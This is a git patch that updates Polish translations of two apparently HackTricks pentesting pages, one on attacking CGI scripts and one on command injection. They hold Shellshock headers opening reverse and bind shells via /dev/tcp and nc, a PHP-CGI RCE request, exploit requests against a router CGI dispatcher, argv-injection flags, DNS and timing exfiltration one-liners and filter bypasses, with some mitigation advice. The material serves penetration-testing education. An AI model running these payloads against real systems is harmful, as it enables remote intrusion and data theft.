From 44891026ba60febcecbe5fc40fa1e04b36cb64c3 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 10:00:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/command-injection.md', 'src/network- --- .../pentesting-web/cgi.md | 76 ++++++++++++++----- src/pentesting-web/command-injection.md | 56 ++++++++++---- 2 files changed, 100 insertions(+), 32 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index cbc8ddfcb..bf6925806 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,26 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# Informacje -**Skrypty CGI to skrypty w Perl**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **przesłać powłokę odwrotną w Perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonywania** \(`chmod +x`\) i **uzyskać dostęp** do powłoki odwrotnej **z przeglądarki internetowej**, aby ją wykonać. Aby przetestować **vulnerabilities CGI**, zaleca się użycie `nikto -C all` \(i wszystkich wtyczek\) +## Informacje -# **ShellShock** +The **CGI scripts are perl scripts**, więc jeśli przejąłeś serwer, który może wykonywać _**.cgi**_ skrypty, możesz **wgrać perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **zmienić rozszerzenie** z **.pl** na **.cgi**, nadać **uprawnienia do wykonania** \(`chmod +x`\) i **uzyskać dostęp** do reverse shella **z poziomu przeglądarki**, aby go uruchomić. +Aby testować **CGI vulns** zaleca się użycie `nikto -C all` \(and all the plugins\) -**ShellShock** to **vulnerability**, która dotyczy powszechnie używanej **powłoki Bash** w systemach operacyjnych opartych na Unixie. Skupia się na zdolności Bash do uruchamiania poleceń przekazywanych przez aplikacje. Wrażliwość polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi nazwanymi wartościami wpływającymi na to, jak procesy działają na komputerze. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym na potencjalne przejęcie systemu. +## **ShellShock** -Wykorzystując tę wrażliwość, **strona może zgłosić błąd**. +**ShellShock** to luka bezpieczeństwa, która dotyczy szeroko używanej powłoki **Bash** w systemach operacyjnych opartych na Unix. Wykorzystuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji **zmiennymi środowiskowymi**, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób uruchamiania procesów w systemie. Atakujący mogą to wykorzystać, dołączając **złośliwy kod** do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala potencjalnie na przejęcie systemu. -Możesz **znaleźć** tę wrażliwość zauważając, że używa **starej wersji Apache** i **cgi_mod** \(z folderem cgi\) lub używając **nikto**. +Podczas eksploatacji tej luki strona może zwrócić błąd. -## **Test** +Możesz znaleźć tę lukę, zauważając, że używana jest stara wersja **Apache** i **cgi_mod** (z folderem cgi) lub używając **nikto**. -Większość testów polega na wywołaniu czegoś i oczekiwaniu, że ten ciąg zostanie zwrócony w odpowiedzi sieciowej. Jeśli uważasz, że strona może być podatna, przeszukaj wszystkie strony cgi i przetestuj je. +### **Test** + +Większość testów polega na użyciu polecenia echo i oczekiwaniu, że zwrócony ciąg pojawi się w odpowiedzi web. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(odzwierciedlone, ślepe i poza pasmem\)** +## **Curl \(odbity, ślepy i poza pasmem\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## Wykorzystanie +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -47,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **Proxy \(MitM do żądań serwera WWW\)** +## Scentralizowane dispatchery CGI (trasowanie do pojedynczego endpointu przez parametry selektora) -CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu http. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com" +Wiele wbudowanych interfejsów webowych multipleksuje dziesiątki uprzywilejowanych akcji za pojedynczym endpointem CGI (na przykład, `/cgi-bin/cstecgi.cgi`) i używa parametru selektora takiego jak `topicurl=`, aby przekierować żądanie do wewnętrznej funkcji. -Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer. +Metodologia wykorzystania tych dispatcherów: -# Stary PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Wylicz nazwy handlerów: przeszukaj JS/HTML, wykonaj brute-force przy użyciu wordlists, albo rozpakuj firmware i grepuj w poszukiwaniu ciągów handlerów używanych przez dispatcher. +- Sprawdź dostępność bez uwierzytelnienia: niektóre handlery pomijają kontrole auth i są wywoływalne bezpośrednio. +- Skoncentruj się na handlerach, które wywołują narzędzia systemowe lub operują na plikach; słabe walidatory często blokują tylko kilka znaków i mogą pominąć wiodący minus `-`. -Zasadniczo, jeśli cgi jest aktywne, a php jest "stare" \(<5.3.12 / < 5.4.2\), możesz wykonać kod. -Aby wykorzystać tę lukę, musisz uzyskać dostęp do niektórego pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). -Następnie, aby przetestować tę lukę, możesz uzyskać dostęp na przykład do `/index.php?-s` \(zauważ `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**. +Ogólne wzorce exploitów: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded -Następnie, aby uzyskać **RCE**, możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **kod PHP** do wykonania w **treści żądania. Przykład:** +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +Wykrywanie i zabezpieczanie: + +- Monitoruj nieautentyfikowane żądania do scentralizowanych CGI endpoints z `topicurl` ustawionym na wrażliwe handlers. +- Oznacz parametry zaczynające się od `-` (argv option injection attempts). +- Dostawcy: wymuszaj uwierzytelnianie na wszystkich state-changing handlers, waliduj używając ścisłych allowlists/types/lengths i nigdy nie przekazuj user-controlled strings jako command-line flags. + +## Stare PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) + +W skrócie, jeśli cgi jest aktywne i php jest "stare" \(<5.3.12 / < 5.4.2\) możesz wykonać kod. +Aby wykorzystać tę podatność musisz uzyskać dostęp do jakiegoś pliku PHP serwera WWW bez wysyłania parametrów \(szczególnie bez wysyłania znaku "="\). +Aby przetestować tę podatność możesz np. uzyskać dostęp do `/index.php?-s` \(zwróć uwagę na `-s`\) i **kod źródłowy aplikacji pojawi się w odpowiedzi**. + +Następnie, aby uzyskać **RCE** możesz wysłać to specjalne zapytanie: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` a **PHP code** do wykonania umieścić w **body of the request**. +Przykład: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Więcej informacji o podatności i możliwych exploitach:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Więcej informacji o vuln i możliwych exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM — dla żądań serwera WWW\)** + +CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" zostaje utworzony jako "HTTP_HOST"="web.com" + +Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW, spróbuj wysłać **nagłówek** zawierający: "**Proxy: <IP_attacker>:<PORT>**". Jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wysyłane przez serwer. + +## **Referencje** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index a45d4381a..dcaf6d667 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## Co to jest command Injection? +## Czym jest command Injection? -A **command injection** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zazwyczaj umożliwia atakującemu uzyskanie nieautoryzowanego dostępu lub kontroli nad środowiskiem aplikacji i podlegającym jej systemem. +Atak **command injection** umożliwia wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W efekcie aplikacja i wszystkie jej dane mogą zostać całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem, na którym działa. ### Kontekst -W zależności od tego, **gdzie wstrzykiwane jest twoje wejście**, może być konieczne **zamknięcie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami. +W zależności od tego, **gdzie jest wstrzykiwane twoje wejście**, może być konieczne **zakończenie kontekstu cytowania** (używając `"` lub `'`) przed poleceniami. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Ograniczenia** Bypasses -Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux** zainteresuje cię lektura o tych **Bypasses:** +Jeśli próbujesz wykonać **dowolne polecenia na maszynie linux**, zainteresuje Cię lektura na temat tych **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametry -Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code injection i podobne podatności RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Poniżej znajduje się lista 25 najważniejszych parametrów, które mogą być podatne na code injection i podobne RCE vulnerabilities (z [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Poniżej znajduje się lista 25 parametrów, które mogą być podatne na code i ``` ### Time based data exfiltration -Wyodrębnianie danych: znak po znaku +Wyodrębnianie danych: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Oparte na narzędziu z `https://github.com/HoLyVieR/dnsbin`, również hostowanym na dnsbin.zhack.ca +Opiera się na narzędziu z `https://github.com/HoLyVieR/dnsbin`, które jest również hostowane na dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Narzędzia online do sprawdzania eksfiltracji danych przez DNS: +Narzędzia online do sprawdzania DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Ominięcie filtrowania +### Omijanie filtrowania #### Windows ``` @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Podczas audytowania back-endów JavaScript/TypeScript często natkniesz się na Node.js `child_process` API. +Podczas audytu backendów JavaScript/TypeScript często natrafisz na API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` spawns a **shell** (`/bin/sh -c`), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) doprowadzi do **command injection**, gdy dane wejściowe użytkownika będą konkatenowane w stringu. +`exec()` uruchamia **shell** (`/bin/sh -c`), dlatego każdy znak mający specjalne znaczenie dla shell (back-ticks, `;`, `&&`, `|`, `$()`, …) spowoduje **command injection**, gdy dane wejściowe użytkownika są konkatenowane w ciągu znaków. -**Mitigation:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i podaj **każdy argument jako oddzielny element tablicy**, tak aby nie był używany shell: +**Środki zaradcze:** użyj `execFile()` (lub `spawn()` bez opcji `shell`) i przekazuj **każdy argument jako oddzielny element tablicy**, aby żaden shell nie był zaangażowany: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Przykład z realnego świata: *Synology Photos* ≤ 1.7.0-0794 było podatne na atak poprzez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, które później były osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 był podatny na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w `id_user`, a następnie były one osadzane w wywołaniu `exec()`, co prowadziło do RCE (Pwn2Own Ireland 2024). +### Argument/Option injection via leading hyphen (argv, no shell metacharacters) + +Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. + +Typical places where this appears: + +- Wbudowane web UIs/CGI handlers, które budują polecenia takie jak `ping `, `tcpdump -i -w `, `curl `, itd. +- Scentralizowane CGI routers (np. `/cgi-bin/.cgi` z parametrem selektora takim jak `topicurl=`), gdzie wiele handlerów ponownie używa tego samego słabego walidatora. + +What to try: + +- Podaj wartości zaczynające się od `-`/`--`, aby zostały potraktowane jako flagi przez narzędzie docelowe. +- Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład: + - `ping`: `-f`/`-c 100000` aby obciążyć urządzenie (DoS) + - `curl`: `-o /tmp/x` aby zapisać w dowolnej ścieżce, `-K ` aby załadować konfigurację kontrolowaną przez atakującego + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` aby uzyskać wykonanie po rotacji (post-rotate) w niebezpiecznych wrapperach +- Jeśli program obsługuje `--` jako koniec opcji, spróbuj obejść naiwną ochronę, która dopisuje `--` w niewłaściwym miejscu. + +Generic PoC shapes against centralized CGI dispatchers: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` ## Lista wykrywania Brute-Force @@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}